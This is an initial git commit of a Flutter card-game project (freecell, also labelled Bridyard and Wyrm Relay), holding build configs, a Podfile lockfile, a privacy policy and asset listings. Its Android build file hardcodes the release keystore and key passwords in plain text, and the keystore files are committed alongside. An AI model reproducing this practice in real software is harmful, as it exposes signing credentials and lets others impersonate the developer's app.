commit 7222796781b99e4096f29590e40d4004d4fb537a Author: admin Date: Tue Jun 2 19:01:08 2026 +0800 init diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..6f0d006 --- /dev/null +++ b/.gitignore @@ -0,0 +1,45 @@ +# Miscellaneous +*.class +*.log +*.pyc +*.swp +.DS_Store +.atom/ +.build/ +.buildlog/ +.history +.svn/ +.swiftpm/ +migrate_working_dir/ + +# IntelliJ related +*.iml +*.ipr +*.iws +.idea/ + +# The .vscode folder contains launch configuration and tasks you configure in +# VS Code which you may wish to be included in version control, so this line +# is commented out by default. +#.vscode/ + +# Flutter/Dart/Pub related +**/doc/api/ +**/ios/Flutter/.last_build_id +.dart_tool/ +.flutter-plugins-dependencies +.pub-cache/ +.pub/ +/build/ +/coverage/ + +# Symbolication related +app.*.symbols + +# Obfuscation related +app.*.map.json + +# Android Studio will place build artifacts here +/android/app/debug +/android/app/profile +/android/app/release diff --git a/.metadata b/.metadata new file mode 100644 index 0000000..51c0bb5 --- /dev/null +++ b/.metadata @@ -0,0 +1,45 @@ +# This file tracks properties of this Flutter project. +# Used by Flutter tool to assess capabilities and perform upgrades etc. +# +# This file should be version controlled and should not be manually edited. + +version: + revision: "db50e20168db8fee486b9abf32fc912de3bc5b6a" + channel: "stable" + +project_type: app + +# Tracks metadata for the flutter migrate command +migration: + platforms: + - platform: root + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + - platform: android + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + - platform: ios + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + - platform: linux + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + - platform: macos + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + - platform: web + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + - platform: windows + create_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + base_revision: db50e20168db8fee486b9abf32fc912de3bc5b6a + + # User provided section + + # List of Local paths (relative to this file) that should be + # ignored by the migrate tool. + # + # Files that are not part of the templates will be ignored by default. + unmanaged_files: + - 'lib/main.dart' + - 'ios/Runner.xcodeproj/project.pbxproj' diff --git a/README.md b/README.md new file mode 100644 index 0000000..aef6db9 --- /dev/null +++ b/README.md @@ -0,0 +1,17 @@ +# freecell + +A new Flutter project. + +## Getting Started + +This project is a starting point for a Flutter application. + +A few resources to get you started if this is your first Flutter project: + +- [Learn Flutter](https://docs.flutter.dev/get-started/learn-flutter) +- [Write your first Flutter app](https://docs.flutter.dev/get-started/codelab) +- [Flutter learning resources](https://docs.flutter.dev/reference/learning-resources) + +For help getting started with Flutter development, view the +[online documentation](https://docs.flutter.dev/), which offers tutorials, +samples, guidance on mobile development, and a full API reference. diff --git a/analysis_options.yaml b/analysis_options.yaml new file mode 100644 index 0000000..d4e0f0c --- /dev/null +++ b/analysis_options.yaml @@ -0,0 +1,28 @@ +# This file configures the analyzer, which statically analyzes Dart code to +# check for errors, warnings, and lints. +# +# The issues identified by the analyzer are surfaced in the UI of Dart-enabled +# IDEs (https://dart.dev/tools#ides-and-editors). The analyzer can also be +# invoked from the command line by running `flutter analyze`. + +# The following line activates a set of recommended lints for Flutter apps, +# packages, and plugins designed to encourage good coding practices. +include: package:flutter_lints/flutter.yaml + +linter: + # The lint rules applied to this project can be customized in the + # section below to disable rules from the `package:flutter_lints/flutter.yaml` + # included above or to enable additional rules. A list of all available lints + # and their documentation is published at https://dart.dev/lints. + # + # Instead of disabling a lint rule for the entire project in the + # section below, it can also be suppressed for a single line of code + # or a specific dart file by using the `// ignore: name_of_lint` and + # `// ignore_for_file: name_of_lint` syntax on the line or in the file + # producing the lint. + rules: + # avoid_print: false # Uncomment to disable the `avoid_print` rule + # prefer_single_quotes: true # Uncomment to enable the `prefer_single_quotes` rule + +# Additional information about this file can be found at +# https://dart.dev/guides/language/analysis-options diff --git a/android/.gitignore b/android/.gitignore new file mode 100644 index 0000000..c908258 --- /dev/null +++ b/android/.gitignore @@ -0,0 +1,14 @@ +gradle-wrapper.jar +/.gradle +/captures/ +/gradlew +/gradlew.bat +/local.properties +GeneratedPluginRegistrant.java +.cxx/ + +# Remember to never publicly share your keystore. +# See https://flutter.dev/to/reference-keystore +key.properties +**/*.keystore +**/*.jks diff --git a/android/app/build.gradle.kts b/android/app/build.gradle.kts new file mode 100644 index 0000000..a8acb75 --- /dev/null +++ b/android/app/build.gradle.kts @@ -0,0 +1,50 @@ +plugins { + id("com.android.application") + id("kotlin-android") + // The Flutter Gradle Plugin must be applied after the Android and Kotlin Gradle plugins. + id("dev.flutter.flutter-gradle-plugin") +} + +android { + namespace = "com.tiger.Bridyard" + compileSdk = flutter.compileSdkVersion + ndkVersion = flutter.ndkVersion + + compileOptions { + sourceCompatibility = JavaVersion.VERSION_17 + targetCompatibility = JavaVersion.VERSION_17 + } + + kotlinOptions { + jvmTarget = JavaVersion.VERSION_17.toString() + } + + defaultConfig { + applicationId = "com.tiger.Bridyard" + // You can update the following values to match your application needs. + // For more information, see: https://flutter.dev/to/review-gradle-config. + minSdk = flutter.minSdkVersion + targetSdk = flutter.targetSdkVersion + versionCode = flutter.versionCode + versionName = flutter.versionName + } + + signingConfigs { + create("release") { + keyAlias = "flip" + keyPassword = "asddsa123321" + storeFile = file("../../flip.jks") + storePassword = "asddsa123321" + } + } + + buildTypes { + release { + signingConfig = signingConfigs.getByName("release") + } + } +} + +flutter { + source = "../.." +} diff --git a/android/app/flip.jsk b/android/app/flip.jsk new file mode 100644 index 0000000..f99ef6d Binary files /dev/null and b/android/app/flip.jsk differ diff --git a/android/app/src/debug/AndroidManifest.xml b/android/app/src/debug/AndroidManifest.xml new file mode 100644 index 0000000..8ffe024 --- /dev/null +++ b/android/app/src/debug/AndroidManifest.xml @@ -0,0 +1,7 @@ + + + + diff --git a/android/app/src/main/AndroidManifest.xml b/android/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..611884c --- /dev/null +++ b/android/app/src/main/AndroidManifest.xml @@ -0,0 +1,46 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/android/app/src/main/kotlin/com/tiger/Bridyard/MainActivity.kt b/android/app/src/main/kotlin/com/tiger/Bridyard/MainActivity.kt new file mode 100644 index 0000000..952ce24 --- /dev/null +++ b/android/app/src/main/kotlin/com/tiger/Bridyard/MainActivity.kt @@ -0,0 +1,5 @@ +package com.tiger.Bridyard + +import io.flutter.embedding.android.FlutterActivity + +class MainActivity : FlutterActivity() diff --git a/android/app/src/main/res/drawable-v21/launch_background.xml b/android/app/src/main/res/drawable-v21/launch_background.xml new file mode 100644 index 0000000..1cb7aa2 --- /dev/null +++ b/android/app/src/main/res/drawable-v21/launch_background.xml @@ -0,0 +1,12 @@ + + + + + + + + diff --git a/android/app/src/main/res/drawable/launch_background.xml b/android/app/src/main/res/drawable/launch_background.xml new file mode 100644 index 0000000..8403758 --- /dev/null +++ b/android/app/src/main/res/drawable/launch_background.xml @@ -0,0 +1,12 @@ + + + + + + + + diff --git a/android/app/src/main/res/mipmap-hdpi/ic_launcher.png b/android/app/src/main/res/mipmap-hdpi/ic_launcher.png new file mode 100644 index 0000000..94f7904 Binary files /dev/null and b/android/app/src/main/res/mipmap-hdpi/ic_launcher.png differ diff --git a/android/app/src/main/res/mipmap-ldpi/ic_launcher.png b/android/app/src/main/res/mipmap-ldpi/ic_launcher.png new file mode 100644 index 0000000..07571fd Binary files /dev/null and b/android/app/src/main/res/mipmap-ldpi/ic_launcher.png differ diff --git a/android/app/src/main/res/mipmap-mdpi/ic_launcher.png b/android/app/src/main/res/mipmap-mdpi/ic_launcher.png new file mode 100644 index 0000000..5545174 Binary files /dev/null and b/android/app/src/main/res/mipmap-mdpi/ic_launcher.png differ diff --git a/android/app/src/main/res/mipmap-xhdpi/ic_launcher.png b/android/app/src/main/res/mipmap-xhdpi/ic_launcher.png new file mode 100644 index 0000000..bb23bce Binary files /dev/null and b/android/app/src/main/res/mipmap-xhdpi/ic_launcher.png differ diff --git a/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png b/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png new file mode 100644 index 0000000..7f93203 Binary files /dev/null and b/android/app/src/main/res/mipmap-xxhdpi/ic_launcher.png differ diff --git a/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png b/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png new file mode 100644 index 0000000..92844b0 Binary files /dev/null and b/android/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png differ diff --git a/android/app/src/main/res/values-night/styles.xml b/android/app/src/main/res/values-night/styles.xml new file mode 100644 index 0000000..360a160 --- /dev/null +++ b/android/app/src/main/res/values-night/styles.xml @@ -0,0 +1,18 @@ + + + + + + + diff --git a/android/app/src/main/res/values/styles.xml b/android/app/src/main/res/values/styles.xml new file mode 100644 index 0000000..5fac679 --- /dev/null +++ b/android/app/src/main/res/values/styles.xml @@ -0,0 +1,18 @@ + + + + + + + diff --git a/android/app/src/profile/AndroidManifest.xml b/android/app/src/profile/AndroidManifest.xml new file mode 100644 index 0000000..8ffe024 --- /dev/null +++ b/android/app/src/profile/AndroidManifest.xml @@ -0,0 +1,7 @@ + + + + diff --git a/android/build.gradle.kts b/android/build.gradle.kts new file mode 100644 index 0000000..1f88145 --- /dev/null +++ b/android/build.gradle.kts @@ -0,0 +1,24 @@ +allprojects { + repositories { + google() + mavenCentral() + } +} + +val newBuildDir: Directory = + rootProject.layout.buildDirectory + .dir("../../build") + .get() +rootProject.layout.buildDirectory.value(newBuildDir) + +subprojects { + val newSubprojectBuildDir: Directory = newBuildDir.dir(project.name) + project.layout.buildDirectory.value(newSubprojectBuildDir) +} +subprojects { + project.evaluationDependsOn(":app") +} + +tasks.register("clean") { + delete(rootProject.layout.buildDirectory) +} diff --git a/android/gradle.properties b/android/gradle.properties new file mode 100644 index 0000000..21dbfa5 --- /dev/null +++ b/android/gradle.properties @@ -0,0 +1,2 @@ +org.gradle.jvmargs=-Xmx8G -XX:MaxMetaspaceSize=4G -XX:ReservedCodeCacheSize=512m -XX:+HeapDumpOnOutOfMemoryError +android.useAndroidX=true diff --git a/android/gradle/wrapper/gradle-wrapper.properties b/android/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..db3f453 --- /dev/null +++ b/android/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-all.zip diff --git a/android/settings.gradle.kts b/android/settings.gradle.kts new file mode 100644 index 0000000..4dcef4b --- /dev/null +++ b/android/settings.gradle.kts @@ -0,0 +1,26 @@ +pluginManagement { + val flutterSdkPath = + run { + val properties = java.util.Properties() + file("local.properties").inputStream().use { properties.load(it) } + val flutterSdkPath = properties.getProperty("flutter.sdk") + require(flutterSdkPath != null) { "flutter.sdk not set in local.properties" } + flutterSdkPath + } + + includeBuild("$flutterSdkPath/packages/flutter_tools/gradle") + + repositories { + google() + mavenCentral() + gradlePluginPortal() + } +} + +plugins { + id("dev.flutter.flutter-plugin-loader") version "1.0.0" + id("com.android.application") version "8.11.1" apply false + id("org.jetbrains.kotlin.android") version "2.2.20" apply false +} + +include(":app") diff --git a/assets/audio/bgm.mp3 b/assets/audio/bgm.mp3 new file mode 100644 index 0000000..fae541b Binary files /dev/null and b/assets/audio/bgm.mp3 differ diff --git a/assets/audio/drop.mp3 b/assets/audio/drop.mp3 new file mode 100644 index 0000000..d373e8d Binary files /dev/null and b/assets/audio/drop.mp3 differ diff --git a/assets/audio/loss.mp3 b/assets/audio/loss.mp3 new file mode 100644 index 0000000..6e00324 Binary files /dev/null and b/assets/audio/loss.mp3 differ diff --git a/assets/audio/select.mp3 b/assets/audio/select.mp3 new file mode 100644 index 0000000..d7e7089 Binary files /dev/null and b/assets/audio/select.mp3 differ diff --git a/assets/audio/shuffle.mp3 b/assets/audio/shuffle.mp3 new file mode 100644 index 0000000..a2ea5d4 Binary files /dev/null and b/assets/audio/shuffle.mp3 differ diff --git a/assets/audio/win.mp3 b/assets/audio/win.mp3 new file mode 100644 index 0000000..f4f79a4 Binary files /dev/null and b/assets/audio/win.mp3 differ diff --git a/assets/html/privacy.html b/assets/html/privacy.html new file mode 100644 index 0000000..0e6ca48 --- /dev/null +++ b/assets/html/privacy.html @@ -0,0 +1,48 @@ + + + + +Privacy Policy For Wyrm Relay + + +

Privacy Policy For Wyrm Relay

+

Effective Date: February 15, 2026

+ +

This Privacy Policy applies to the mobile game Wyrm Relay (the “App”), available on the Apple App Store.

+ +

1. Information We Collect

+ +

We do not collect sensitive personal data (e.g., name, email, phone, precise location, health or financial information).

+ +

2. Use of Information

+ + +

3. Sharing with Third Parties (Advertising Partners)

+ +

No personal data is sold or rented to third parties.

+ +

4. Children

+

This App is not intended for children under 13.

+ +

5. Contact & Complaints

+

gg0128xxzz17@icloud.com

+ +

6. Changes

+

We may update this Privacy Policy from time to time.

+ +

By using the App, you consent to the terms of this Privacy Policy.

+ + \ No newline at end of file diff --git a/assets/images/bg/freecell_bg.png b/assets/images/bg/freecell_bg.png new file mode 100644 index 0000000..c52b31b Binary files /dev/null and b/assets/images/bg/freecell_bg.png differ diff --git a/assets/images/bg/freecell_bg1.png b/assets/images/bg/freecell_bg1.png new file mode 100644 index 0000000..b7faaa3 Binary files /dev/null and b/assets/images/bg/freecell_bg1.png differ diff --git a/assets/images/bg/freecell_bg2.png b/assets/images/bg/freecell_bg2.png new file mode 100644 index 0000000..435c528 Binary files /dev/null and b/assets/images/bg/freecell_bg2.png differ diff --git a/assets/images/bg/freecell_bg3.png b/assets/images/bg/freecell_bg3.png new file mode 100644 index 0000000..abc4c59 Binary files /dev/null and b/assets/images/bg/freecell_bg3.png differ diff --git a/assets/images/bg/jd.png b/assets/images/bg/jd.png new file mode 100644 index 0000000..a2bc78d Binary files /dev/null and b/assets/images/bg/jd.png differ diff --git a/assets/images/bg/jd1.png b/assets/images/bg/jd1.png new file mode 100644 index 0000000..85f8ce6 Binary files /dev/null and b/assets/images/bg/jd1.png differ diff --git a/assets/images/bg/jd2.png b/assets/images/bg/jd2.png new file mode 100644 index 0000000..5bdf430 Binary files /dev/null and b/assets/images/bg/jd2.png differ diff --git a/assets/images/bg/logo.png b/assets/images/bg/logo.png new file mode 100644 index 0000000..3cd9b5b Binary files /dev/null and b/assets/images/bg/logo.png differ diff --git a/assets/images/bg/start.png b/assets/images/bg/start.png new file mode 100644 index 0000000..7d53b19 Binary files /dev/null and b/assets/images/bg/start.png differ diff --git a/assets/images/cards/10C.png b/assets/images/cards/10C.png new file mode 100644 index 0000000..95e8890 Binary files /dev/null and b/assets/images/cards/10C.png differ diff --git a/assets/images/cards/10D.png b/assets/images/cards/10D.png new file mode 100644 index 0000000..6cc8273 Binary files /dev/null and b/assets/images/cards/10D.png differ diff --git a/assets/images/cards/10H.png b/assets/images/cards/10H.png new file mode 100644 index 0000000..6c98fbe Binary files /dev/null and b/assets/images/cards/10H.png differ diff --git a/assets/images/cards/10S.png b/assets/images/cards/10S.png new file mode 100644 index 0000000..60c2700 Binary files /dev/null and b/assets/images/cards/10S.png differ diff --git a/assets/images/cards/2C.png b/assets/images/cards/2C.png new file mode 100644 index 0000000..6c6743d Binary files /dev/null and b/assets/images/cards/2C.png differ diff --git a/assets/images/cards/2D.png b/assets/images/cards/2D.png new file mode 100644 index 0000000..c1d7b0e Binary files /dev/null and b/assets/images/cards/2D.png differ diff --git a/assets/images/cards/2H.png b/assets/images/cards/2H.png new file mode 100644 index 0000000..38fbf51 Binary files /dev/null and b/assets/images/cards/2H.png differ diff --git a/assets/images/cards/2S.png b/assets/images/cards/2S.png new file mode 100644 index 0000000..330258f Binary files /dev/null and b/assets/images/cards/2S.png differ diff --git a/assets/images/cards/3C.png b/assets/images/cards/3C.png new file mode 100644 index 0000000..08e5134 Binary files /dev/null and b/assets/images/cards/3C.png differ diff --git a/assets/images/cards/3D.png b/assets/images/cards/3D.png new file mode 100644 index 0000000..4bde543 Binary files /dev/null and b/assets/images/cards/3D.png differ diff --git a/assets/images/cards/3H.png b/assets/images/cards/3H.png new file mode 100644 index 0000000..35fa33e Binary files /dev/null and b/assets/images/cards/3H.png differ diff --git a/assets/images/cards/3S.png b/assets/images/cards/3S.png new file mode 100644 index 0000000..0029086 Binary files /dev/null and b/assets/images/cards/3S.png differ diff --git a/assets/images/cards/4C.png b/assets/images/cards/4C.png new file mode 100644 index 0000000..2d6f3e7 Binary files /dev/null and b/assets/images/cards/4C.png differ diff --git a/assets/images/cards/4D.png b/assets/images/cards/4D.png new file mode 100644 index 0000000..76aad4f Binary files /dev/null and b/assets/images/cards/4D.png differ diff --git a/assets/images/cards/4H.png b/assets/images/cards/4H.png new file mode 100644 index 0000000..62a7dc1 Binary files /dev/null and b/assets/images/cards/4H.png differ diff --git a/assets/images/cards/4S.png b/assets/images/cards/4S.png new file mode 100644 index 0000000..d5237be Binary files /dev/null and b/assets/images/cards/4S.png differ diff --git a/assets/images/cards/5C.png b/assets/images/cards/5C.png new file mode 100644 index 0000000..7e1560d Binary files /dev/null and b/assets/images/cards/5C.png differ diff --git a/assets/images/cards/5D.png b/assets/images/cards/5D.png new file mode 100644 index 0000000..b7b3419 Binary files /dev/null and b/assets/images/cards/5D.png differ diff --git a/assets/images/cards/5H.png b/assets/images/cards/5H.png new file mode 100644 index 0000000..d9deab3 Binary files /dev/null and b/assets/images/cards/5H.png differ diff --git a/assets/images/cards/5S.png b/assets/images/cards/5S.png new file mode 100644 index 0000000..aca566f Binary files /dev/null and b/assets/images/cards/5S.png differ diff --git a/assets/images/cards/6C.png b/assets/images/cards/6C.png new file mode 100644 index 0000000..5caa376 Binary files /dev/null and b/assets/images/cards/6C.png differ diff --git a/assets/images/cards/6D.png b/assets/images/cards/6D.png new file mode 100644 index 0000000..278c989 Binary files /dev/null and b/assets/images/cards/6D.png differ diff --git a/assets/images/cards/6H.png b/assets/images/cards/6H.png new file mode 100644 index 0000000..1b9dcee Binary files /dev/null and b/assets/images/cards/6H.png differ diff --git a/assets/images/cards/6S.png b/assets/images/cards/6S.png new file mode 100644 index 0000000..aad6e4c Binary files /dev/null and b/assets/images/cards/6S.png differ diff --git a/assets/images/cards/7C.png b/assets/images/cards/7C.png new file mode 100644 index 0000000..4e6f124 Binary files /dev/null and b/assets/images/cards/7C.png differ diff --git a/assets/images/cards/7D.png b/assets/images/cards/7D.png new file mode 100644 index 0000000..e59e5bf Binary files /dev/null and b/assets/images/cards/7D.png differ diff --git a/assets/images/cards/7H.png b/assets/images/cards/7H.png new file mode 100644 index 0000000..347ca35 Binary files /dev/null and b/assets/images/cards/7H.png differ diff --git a/assets/images/cards/7S.png b/assets/images/cards/7S.png new file mode 100644 index 0000000..7fa366c Binary files /dev/null and b/assets/images/cards/7S.png differ diff --git a/assets/images/cards/8C.png b/assets/images/cards/8C.png new file mode 100644 index 0000000..b232bd5 Binary files /dev/null and b/assets/images/cards/8C.png differ diff --git a/assets/images/cards/8D.png b/assets/images/cards/8D.png new file mode 100644 index 0000000..4de111e Binary files /dev/null and b/assets/images/cards/8D.png differ diff --git a/assets/images/cards/8H.png b/assets/images/cards/8H.png new file mode 100644 index 0000000..f0da7aa Binary files /dev/null and b/assets/images/cards/8H.png differ diff --git a/assets/images/cards/8S.png b/assets/images/cards/8S.png new file mode 100644 index 0000000..d71e202 Binary files /dev/null and b/assets/images/cards/8S.png differ diff --git a/assets/images/cards/9C.png b/assets/images/cards/9C.png new file mode 100644 index 0000000..0464d56 Binary files /dev/null and b/assets/images/cards/9C.png differ diff --git a/assets/images/cards/9D.png b/assets/images/cards/9D.png new file mode 100644 index 0000000..bf3b968 Binary files /dev/null and b/assets/images/cards/9D.png differ diff --git a/assets/images/cards/9H.png b/assets/images/cards/9H.png new file mode 100644 index 0000000..08ba281 Binary files /dev/null and b/assets/images/cards/9H.png differ diff --git a/assets/images/cards/9S.png b/assets/images/cards/9S.png new file mode 100644 index 0000000..f4aa24d Binary files /dev/null and b/assets/images/cards/9S.png differ diff --git a/assets/images/cards/AC.png b/assets/images/cards/AC.png new file mode 100644 index 0000000..8ac4fe6 Binary files /dev/null and b/assets/images/cards/AC.png differ diff --git a/assets/images/cards/AD.png b/assets/images/cards/AD.png new file mode 100644 index 0000000..958b2c4 Binary files /dev/null and b/assets/images/cards/AD.png differ diff --git a/assets/images/cards/AH.png b/assets/images/cards/AH.png new file mode 100644 index 0000000..8271c82 Binary files /dev/null and b/assets/images/cards/AH.png differ diff --git a/assets/images/cards/AS.png b/assets/images/cards/AS.png new file mode 100644 index 0000000..da9a83e Binary files /dev/null and b/assets/images/cards/AS.png differ diff --git a/assets/images/cards/JC.png b/assets/images/cards/JC.png new file mode 100644 index 0000000..147321b Binary files /dev/null and b/assets/images/cards/JC.png differ diff --git a/assets/images/cards/JD.png b/assets/images/cards/JD.png new file mode 100644 index 0000000..a7c3a8a Binary files /dev/null and b/assets/images/cards/JD.png differ diff --git a/assets/images/cards/JH.png b/assets/images/cards/JH.png new file mode 100644 index 0000000..8b4ff1a Binary files /dev/null and b/assets/images/cards/JH.png differ diff --git a/assets/images/cards/JS.png b/assets/images/cards/JS.png new file mode 100644 index 0000000..2681424 Binary files /dev/null and b/assets/images/cards/JS.png differ diff --git a/assets/images/cards/KC.png b/assets/images/cards/KC.png new file mode 100644 index 0000000..0bcb91b Binary files /dev/null and b/assets/images/cards/KC.png differ diff --git a/assets/images/cards/KD.png b/assets/images/cards/KD.png new file mode 100644 index 0000000..85d14a5 Binary files /dev/null and b/assets/images/cards/KD.png differ diff --git a/assets/images/cards/KH.png b/assets/images/cards/KH.png new file mode 100644 index 0000000..49eebb4 Binary files /dev/null and b/assets/images/cards/KH.png differ diff --git a/assets/images/cards/KS.png b/assets/images/cards/KS.png new file mode 100644 index 0000000..d8b1072 Binary files /dev/null and b/assets/images/cards/KS.png differ diff --git a/assets/images/cards/QC.png b/assets/images/cards/QC.png new file mode 100644 index 0000000..8e98a90 Binary files /dev/null and b/assets/images/cards/QC.png differ diff --git a/assets/images/cards/QD.png b/assets/images/cards/QD.png new file mode 100644 index 0000000..a522fb6 Binary files /dev/null and b/assets/images/cards/QD.png differ diff --git a/assets/images/cards/QH.png b/assets/images/cards/QH.png new file mode 100644 index 0000000..4e5a4ec Binary files /dev/null and b/assets/images/cards/QH.png differ diff --git a/assets/images/cards/QS.png b/assets/images/cards/QS.png new file mode 100644 index 0000000..61ca659 Binary files /dev/null and b/assets/images/cards/QS.png differ diff --git a/assets/images/cards/README.txt b/assets/images/cards/README.txt new file mode 100644 index 0000000..22f276c --- /dev/null +++ b/assets/images/cards/README.txt @@ -0,0 +1 @@ +52 cards sliced from lower card set. Naming: rank + suit: D=diamond, S=spade, H=heart, C=club. Example: AD.png, 10H.png, KS.png. Original crop size: 100x134 px. diff --git a/flip.jks b/flip.jks new file mode 100644 index 0000000..b2282d3 Binary files /dev/null and b/flip.jks differ diff --git a/ios/.gitignore b/ios/.gitignore new file mode 100644 index 0000000..ad322bc --- /dev/null +++ b/ios/.gitignore @@ -0,0 +1,34 @@ +**/dgph +*.mode1v3 +*.mode2v3 +*.moved-aside +*.pbxuser +*.perspectivev3 +**/*sync/ +.sconsign.dblite +.tags* +**/.vagrant/ +**/DerivedData/ +Icon? +**/Pods/ +**/.symlinks/ +profile +xcuserdata +**/.generated/ +Flutter/App.framework +Flutter/Flutter.framework +Flutter/Flutter.podspec +Flutter/Generated.xcconfig +Flutter/ephemeral/ +Flutter/app.flx +Flutter/app.zip +Flutter/flutter_assets/ +Flutter/flutter_export_environment.sh +ServiceDefinitions.json +Runner/GeneratedPluginRegistrant.* + +# Exceptions to above rules. +!default.mode1v3 +!default.mode2v3 +!default.pbxuser +!default.perspectivev3 diff --git a/ios/Flutter/AppFrameworkInfo.plist b/ios/Flutter/AppFrameworkInfo.plist new file mode 100644 index 0000000..256cf28 --- /dev/null +++ b/ios/Flutter/AppFrameworkInfo.plist @@ -0,0 +1,24 @@ + + + + + CFBundleDevelopmentRegion + en + CFBundleExecutable + App + CFBundleIdentifier + io.flutter.flutter.app + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + App + CFBundlePackageType + FMWK + CFBundleShortVersionString + 1.0 + CFBundleSignature + ???? + CFBundleVersion + 1.0 + + diff --git a/ios/Flutter/Debug.xcconfig b/ios/Flutter/Debug.xcconfig new file mode 100644 index 0000000..dfd2626 --- /dev/null +++ b/ios/Flutter/Debug.xcconfig @@ -0,0 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.debug.xcconfig" +#include "Generated.xcconfig" diff --git a/ios/Flutter/Release.xcconfig b/ios/Flutter/Release.xcconfig new file mode 100644 index 0000000..a97381a --- /dev/null +++ b/ios/Flutter/Release.xcconfig @@ -0,0 +1,2 @@ +#include? "Pods/Target Support Files/Pods-Runner/Pods-Runner.release.xcconfig" +#include "Generated.xcconfig" diff --git a/ios/Podfile b/ios/Podfile new file mode 100644 index 0000000..620e46e --- /dev/null +++ b/ios/Podfile @@ -0,0 +1,43 @@ +# Uncomment this line to define a global platform for your project +# platform :ios, '13.0' + +# CocoaPods analytics sends network stats synchronously affecting flutter build latency. +ENV['COCOAPODS_DISABLE_STATS'] = 'true' + +project 'Runner', { + 'Debug' => :debug, + 'Profile' => :release, + 'Release' => :release, +} + +def flutter_root + generated_xcode_build_settings_path = File.expand_path(File.join('..', 'Flutter', 'Generated.xcconfig'), __FILE__) + unless File.exist?(generated_xcode_build_settings_path) + raise "#{generated_xcode_build_settings_path} must exist. If you're running pod install manually, make sure flutter pub get is executed first" + end + + File.foreach(generated_xcode_build_settings_path) do |line| + matches = line.match(/FLUTTER_ROOT\=(.*)/) + return matches[1].strip if matches + end + raise "FLUTTER_ROOT not found in #{generated_xcode_build_settings_path}. Try deleting Generated.xcconfig, then run flutter pub get" +end + +require File.expand_path(File.join('packages', 'flutter_tools', 'bin', 'podhelper'), flutter_root) + +flutter_ios_podfile_setup + +target 'Runner' do + use_frameworks! + + flutter_install_all_ios_pods File.dirname(File.realpath(__FILE__)) + target 'RunnerTests' do + inherit! :search_paths + end +end + +post_install do |installer| + installer.pods_project.targets.each do |target| + flutter_additional_ios_build_settings(target) + end +end diff --git a/ios/Podfile.lock b/ios/Podfile.lock new file mode 100644 index 0000000..3d31716 --- /dev/null +++ b/ios/Podfile.lock @@ -0,0 +1,87 @@ +PODS: + - Adjust (5.6.2): + - Adjust/Adjust (= 5.6.2) + - Adjust/Adjust (5.6.2): + - AdjustSignature (= 3.67.0) + - adjust_sdk (5.6.2): + - Adjust (= 5.6.2) + - Flutter + - AdjustSignature (3.67.0) + - audioplayers_darwin (0.0.1): + - Flutter + - FlutterMacOS + - device_info_plus (0.0.1): + - Flutter + - Flutter (1.0.0) + - flutter_inappwebview_ios (0.0.1): + - Flutter + - flutter_inappwebview_ios/Core (= 0.0.1) + - OrderedSet (~> 6.0.3) + - flutter_inappwebview_ios/Core (0.0.1): + - Flutter + - OrderedSet (~> 6.0.3) + - flutter_vpn_detector (0.1.5): + - Flutter + - OrderedSet (6.0.3) + - package_info_plus (0.4.5): + - Flutter + - shared_preferences_foundation (0.0.1): + - Flutter + - FlutterMacOS + - url_launcher_ios (0.0.1): + - Flutter + +DEPENDENCIES: + - adjust_sdk (from `.symlinks/plugins/adjust_sdk/ios`) + - audioplayers_darwin (from `.symlinks/plugins/audioplayers_darwin/darwin`) + - device_info_plus (from `.symlinks/plugins/device_info_plus/ios`) + - Flutter (from `Flutter`) + - flutter_inappwebview_ios (from `.symlinks/plugins/flutter_inappwebview_ios/ios`) + - flutter_vpn_detector (from `.symlinks/plugins/flutter_vpn_detector/ios`) + - package_info_plus (from `.symlinks/plugins/package_info_plus/ios`) + - shared_preferences_foundation (from `.symlinks/plugins/shared_preferences_foundation/darwin`) + - url_launcher_ios (from `.symlinks/plugins/url_launcher_ios/ios`) + +SPEC REPOS: + trunk: + - Adjust + - AdjustSignature + - OrderedSet + +EXTERNAL SOURCES: + adjust_sdk: + :path: ".symlinks/plugins/adjust_sdk/ios" + audioplayers_darwin: + :path: ".symlinks/plugins/audioplayers_darwin/darwin" + device_info_plus: + :path: ".symlinks/plugins/device_info_plus/ios" + Flutter: + :path: Flutter + flutter_inappwebview_ios: + :path: ".symlinks/plugins/flutter_inappwebview_ios/ios" + flutter_vpn_detector: + :path: ".symlinks/plugins/flutter_vpn_detector/ios" + package_info_plus: + :path: ".symlinks/plugins/package_info_plus/ios" + shared_preferences_foundation: + :path: ".symlinks/plugins/shared_preferences_foundation/darwin" + url_launcher_ios: + :path: ".symlinks/plugins/url_launcher_ios/ios" + +SPEC CHECKSUMS: + Adjust: 62ea53a252534df416676e7ac2f1558d60e6e39e + adjust_sdk: caa67ac211e1ff70e129232b3f378124e411ed9b + AdjustSignature: 9498705a4ac67b719e31828be4d74fbb8656950c + audioplayers_darwin: 835ced6edd4c9fc8ebb0a7cc9e294a91d99917d5 + device_info_plus: 21fcca2080fbcd348be798aa36c3e5ed849eefbe + Flutter: cabc95a1d2626b1b06e7179b784ebcf0c0cde467 + flutter_inappwebview_ios: b89ba3482b96fb25e00c967aae065701b66e9b99 + 